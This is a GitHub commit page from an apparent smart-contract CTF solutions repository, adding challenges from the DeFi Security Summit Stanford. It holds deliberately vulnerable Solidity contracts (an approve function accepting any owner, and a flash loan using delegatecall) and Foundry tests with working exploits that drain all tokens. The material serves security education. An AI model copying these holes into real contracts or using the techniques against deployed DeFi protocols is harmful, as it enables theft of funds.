Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit eedadb7

Browse files
committed
Add DeFi-Security-Summit-Stanford: VToken, InSecureumLenderPool
1 parent 8a22406 commit eedadb7

File tree

8 files changed

+205
-10
lines changed

8 files changed

+205
-10
lines changed

README.md

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -125,20 +125,22 @@ Note:
125125
### ERC-20 basics
126126
- These challenges can be solved with an understanding of the [ERC-20 token standard](https://eips.ethereum.org/EIPS/eip-20).
127127

128-
| Challenge | Note, Keywords |
129-
| ---------------------------------------------------------- | ------------------------------------- |
130-
| [Ethernaut: 15. Naught Coin](src/Ethernaut#15-naught-coin) | `transfer`, `approve`, `transferFrom` |
131-
| [Paradigm CTF 2021: Secure](src/ParadigmCTF2021) | WETH |
128+
| Challenge | Note, Keywords |
129+
| ------------------------------------------------------------------------ | ------------------------------------- |
130+
| [Ethernaut: 15. Naught Coin](src/Ethernaut#15-naught-coin) | `transfer`, `approve`, `transferFrom` |
131+
| [Paradigm CTF 2021: Secure](src/ParadigmCTF2021) | WETH |
132+
| [DeFi-Security-Summit-Stanford: VToken](src/DeFiSecuritySummitStanford/) | |
132133

133134
### Storage overwrite by `delegatecall`
134135
- `delegatecall` is a potential source of vulnerability because the storage of the `delegatecall` caller contract can be overwritten by the called function.
135136

136-
| Challenge | Note, Keywords |
137-
| -------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
138-
| [Ethernaut: 6. Delegation](src/Ethernaut#6-delegation) | |
139-
| [Ethernaut: 16. Preservation](src/Ethernaut#16-preservation) | |
140-
| [Ethernaut: 24. Puzzle Wallet](src/Ethernaut#24-puzzle-wallet) | proxy contract |
141-
| [Ethernaut: 25. Motorbike](src/Ethernaut#25-motorbike) | proxy contract, [EIP-1967: Standard Proxy Storage Slots](https://eips.ethereum.org/EIPS/eip-1967) |
137+
| Challenge | Note, Keywords |
138+
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
139+
| [Ethernaut: 6. Delegation](src/Ethernaut#6-delegation) | |
140+
| [Ethernaut: 16. Preservation](src/Ethernaut#16-preservation) | |
141+
| [Ethernaut: 24. Puzzle Wallet](src/Ethernaut#24-puzzle-wallet) | proxy contract |
142+
| [Ethernaut: 25. Motorbike](src/Ethernaut#25-motorbike) | proxy contract, [EIP-1967: Standard Proxy Storage Slots](https://eips.ethereum.org/EIPS/eip-1967) |
143+
| [DeFi-Security-Summit-Stanford: InSecureumLenderPool](src/DeFiSecuritySummitStanford/) | flash loan |
142144

143145
### Context mismatch in `delegatecall`
144146
- Functions called in `delegatecall` are executed in the context of the `delegatecall` caller contract.
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.14;
3+
4+
import {IERC20} from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
5+
import {Address} from "openzeppelin-contracts/contracts/utils/Address.sol";
6+
import {SafeERC20} from "openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";
7+
8+
// Some ideas for this challenge were taken from damn vulnerable defi
9+
contract InSecureumLenderPool {
10+
using Address for address;
11+
using SafeERC20 for IERC20;
12+
13+
/// @dev Token contract address to be used for lending.
14+
//IERC20 immutable public token;
15+
IERC20 public token;
16+
/// @dev Internal balances of the pool for each user.
17+
mapping(address => uint256) public balances;
18+
19+
// flag to notice contract is on a flashloan
20+
bool private _flashLoan;
21+
22+
/// @param _token Address of the token to be used for the lending pool.
23+
constructor(address _token) {
24+
token = IERC20(_token);
25+
}
26+
27+
/// @dev Deposit the given amount of tokens to the lending
28+
/// pool. This will add _amount to balances[msg.sender] and
29+
/// transfer _amount tokens to the lending pool.
30+
/// @param _amount Amount of token to deposit in the lending pool
31+
function deposit(uint256 _amount) external {
32+
require(!_flashLoan, "Cannot deposit while flash loan is active");
33+
token.safeTransferFrom(msg.sender, address(this), _amount);
34+
balances[msg.sender] += _amount;
35+
}
36+
37+
/// @dev Withdraw the given amount of tokens from the lending pool.
38+
function withdraw(uint256 _amount) external {
39+
require(!_flashLoan, "Cannot withdraw while flash loan is active");
40+
balances[msg.sender] -= _amount;
41+
token.safeTransfer(msg.sender, _amount);
42+
}
43+
44+
/// @dev Give borrower all the tokens to make a flashloan.
45+
/// For this with get the amount of tokens in the lending pool before, then we give
46+
/// control to the borrower to make the flashloan. After the borrower makes the flashloan
47+
/// we check if the lending pool has the same amount of tokens as before.
48+
/// @param borrower The contract that will have access to the tokens
49+
/// @param data Function call data to be used by the borrower contract.
50+
function flashLoan(address borrower, bytes calldata data) external {
51+
uint256 balanceBefore = token.balanceOf(address(this));
52+
53+
_flashLoan = true;
54+
55+
borrower.functionDelegateCall(data);
56+
57+
_flashLoan = false;
58+
59+
uint256 balanceAfter = token.balanceOf(address(this));
60+
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
61+
}
62+
}
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.14;
3+
4+
import "forge-std/Test.sol";
5+
import "./InSecureumLenderPool.sol";
6+
import "../tokens/tokenInsecureum.sol";
7+
8+
contract InSecureumLenderPoolExploitTest is Test {
9+
address playerAddress = makeAddr("player");
10+
11+
function test() public {
12+
ERC20 token = ERC20(address(new InSecureumToken(10 ether)));
13+
14+
InSecureumLenderPool target = new InSecureumLenderPool(address(token));
15+
token.transfer(address(target), 10 ether);
16+
vm.startPrank(playerAddress, playerAddress);
17+
18+
InSecureumLenderPoolExploit exploit = new InSecureumLenderPoolExploit();
19+
target.flashLoan(address(exploit), "");
20+
target.withdraw(10 ether);
21+
22+
vm.stopPrank();
23+
assertEq(token.balanceOf(address(target)), 0, "contract must be empty");
24+
}
25+
}
26+
27+
import "forge-std/console.sol";
28+
29+
contract InSecureumLenderPoolExploit {
30+
// $ forge inspect src/DeFiSecuritySummitStanford/InSecureumLenderPool/InSecureumLenderPool.sol:InSecureumLenderPool storage
31+
bytes32 slot0;
32+
mapping(address => uint256) public balances;
33+
34+
fallback() external {
35+
balances[msg.sender] = 10 ether;
36+
}
37+
}
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.14;
3+
4+
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
5+
6+
contract VToken is ERC20 {
7+
// Decimals are set to 18 by default in `ERC20`
8+
constructor() ERC20("VToken", "VTLK") {
9+
address vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
10+
_mint(vitalik, 100 ether);
11+
}
12+
13+
/**
14+
* @dev See {IERC20-approve}.
15+
*
16+
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
17+
* `transferFrom`. This is semantically equivalent to an infinite approval.
18+
*
19+
* Requirements:
20+
*
21+
* - `spender` cannot be the zero address.
22+
*/
23+
function approve(address owner, address spender, uint256 amount) public returns (bool) {
24+
_approve(owner, spender, amount);
25+
return true;
26+
}
27+
}
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.14;
3+
4+
import "forge-std/Test.sol";
5+
import "./VToken.sol";
6+
7+
contract VTokenExploitTest is Test {
8+
address playerAddress = makeAddr("player");
9+
address vitalikAddress = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
10+
11+
function test() public {
12+
VToken vToken = new VToken();
13+
vm.startPrank(playerAddress, playerAddress);
14+
15+
vToken.approve(vitalikAddress, playerAddress, type(uint256).max);
16+
vToken.transferFrom(vitalikAddress, playerAddress, vToken.balanceOf(vitalikAddress));
17+
18+
vm.stopPrank();
19+
assertEq(vToken.balanceOf(playerAddress), vToken.totalSupply(), "you must get all the tokens");
20+
}
21+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.14;
3+
4+
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
5+
6+
contract BoringToken is ERC20 {
7+
// Decimals are set to 18 by default in `ERC20`
8+
constructor(uint256 _supply) ERC20("BoringToken", "BOR") {
9+
_mint(msg.sender, _supply);
10+
}
11+
}
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.14;
3+
4+
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
5+
import {Address} from "openzeppelin-contracts/contracts/utils/Address.sol";
6+
7+
contract SimpleERC223Token is ERC20 {
8+
constructor(uint256 _supply) ERC20("Simple ERC223 Token", "SET") {
9+
_mint(msg.sender, _supply);
10+
}
11+
12+
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
13+
// Call parent hook
14+
super._afterTokenTransfer(from, to, amount);
15+
if (Address.isContract(to)) {
16+
// this is wrong and broken on many ways, but it works for this example
17+
// instead of a try catch perhaps we should use a ERC165...
18+
// the tokenFallback function is run if the contract has this function
19+
(bool success,) =
20+
to.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", msg.sender, amount, ""));
21+
require(success, "TokenFallback not implemented");
22+
}
23+
}
24+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.14;
3+
4+
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
5+
6+
contract InSecureumToken is ERC20 {
7+
// Decimals are set to 18 by default in `ERC20`
8+
constructor(uint256 _supply) ERC20("InSecureumToken", "ISEC") {
9+
_mint(msg.sender, _supply);
10+
}
11+
}

0 commit comments

Comments
 (0)